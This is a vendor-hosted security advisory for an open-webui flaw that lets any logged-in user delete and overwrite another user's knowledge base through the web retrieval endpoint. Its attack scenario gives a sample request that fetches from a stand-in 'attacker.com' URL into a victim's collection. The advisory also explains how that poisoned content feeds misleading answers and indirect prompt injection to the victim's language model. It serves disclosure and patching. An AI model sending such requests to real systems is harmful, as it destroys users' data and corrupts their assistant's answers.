GHSA-7r82-qhg4-6wvj
HIGHGHSA-7r82-qhg4-6wvj is a high-severity (CVSS 8.1) vulnerability in open-webui. O3 Security confirms whether GHSA-7r82-qhg4-6wvj is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Open WebUI has Knowledge Base Destruction and RAG Poisoning via Unauthorized Collection Overwrite
Real-World Exposure
open-webuiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Knowledge Base Destruction and RAG Poisoning via Unauthorized Collection Overwrite
Affected Component
Retrieval web/YouTube processing endpoints:
backend/open_webui/routers/retrieval.py(lines 1810-1837,process_web)backend/open_webui/routers/retrieval.py(the parallelprocess_youtubeendpoint)backend/open_webui/routers/retrieval.py(line 1445,save_docs_to_vector_dbcall chain)
Affected Versions
Current main branch (commit 6fdd19bf1) and likely all versions with RAG/knowledge base functionality.
Description
The POST /api/v1/retrieval/process/web endpoint accepts a user-supplied collection_name and an overwrite query parameter (default: True). It performs no authorization check on whether the calling user owns or has write access to the target collection. When overwrite=True, save_docs_to_vector_db calls VECTOR_DB_CLIENT.delete_collection() on the target collection before writing new content.
Combined with the knowledge base enumeration vulnerability (separate report), an attacker can trivially discover any user's knowledge base UUID and then destroy or poison it.
# retrieval.py:1810-1837 — no collection authorization check
@router.post('/process/web')
async def process_web(
request: Request,
form_data: ProcessUrlForm,
user=Depends(get_verified_user),
...
):
# ... fetch and process the URL ...
save_docs_to_vector_db(
request=request,
docs=docs,
collection_name=form_data.collection_name, # attacker-controlled, unchecked
overwrite=overwrite, # defaults to True
...
)
CVSS 3.1 Breakdown
| Metric | Value | Rationale |
|---|---|---|
| Attack Vector | Network (N) | Exploited remotely via API call |
| Attack Complexity | Low (L) | Single API call with a known KB UUID |
| Privileges Required | Low (L) | Requires any authenticated user account |
| User Interaction | None (N) | No victim interaction required |
| Scope | Unchanged (U) | Impact within the knowledge base authorization boundary |
| Confidentiality | None (N) | No data disclosure from this vulnerability directly |
| Integrity | High (H) | Complete replacement of victim's KB content with attacker-controlled data |
| Availability | High (H) | Victim's original KB embeddings are deleted; KB effectively destroyed |
Attack Scenario
- Attacker discovers victim's KB UUID via the
knowledge-basesmeta-collection (separate finding) or other enumeration. - Attacker sends:
POST /api/v1/retrieval/process/web?overwrite=true { "url": "https://attacker.com/poison", "collection_name": "<victim_kb_uuid>" } - The endpoint fetches content from the attacker's URL.
save_docs_to_vector_dbdeletes the entire vector collection belonging to the victim's knowledge base.- The attacker's fetched content is embedded and written as the new collection content.
- Victim's RAG queries against their KB now return attacker-controlled content instead of their original documents.
Impact
- Data destruction: Victim's original KB embeddings are permanently deleted from the vector store
- RAG poisoning: Attacker-controlled content replaces legitimate knowledge, causing the LLM to return misleading or malicious answers to the victim
- Indirect prompt injection: Poisoned content can contain crafted prompts that manipulate the victim's LLM behavior when queried
- Persistence: The poisoned content persists until the KB is rebuilt from source files
Preconditions
- Attacker must have a valid user account
- Attacker must know the target collection name (KB UUID) — easily obtained via the
knowledge-basesenumeration finding
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | open-webui | all versions | 0.9.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for open-webui. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update open-webui to 0.9.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-7r82-qhg4-6wvj is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-7r82-qhg4-6wvj is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-7r82-qhg4-6wvj. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-7r82-qhg4-6wvj in your dependencies?
O3 detects GHSA-7r82-qhg4-6wvj across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.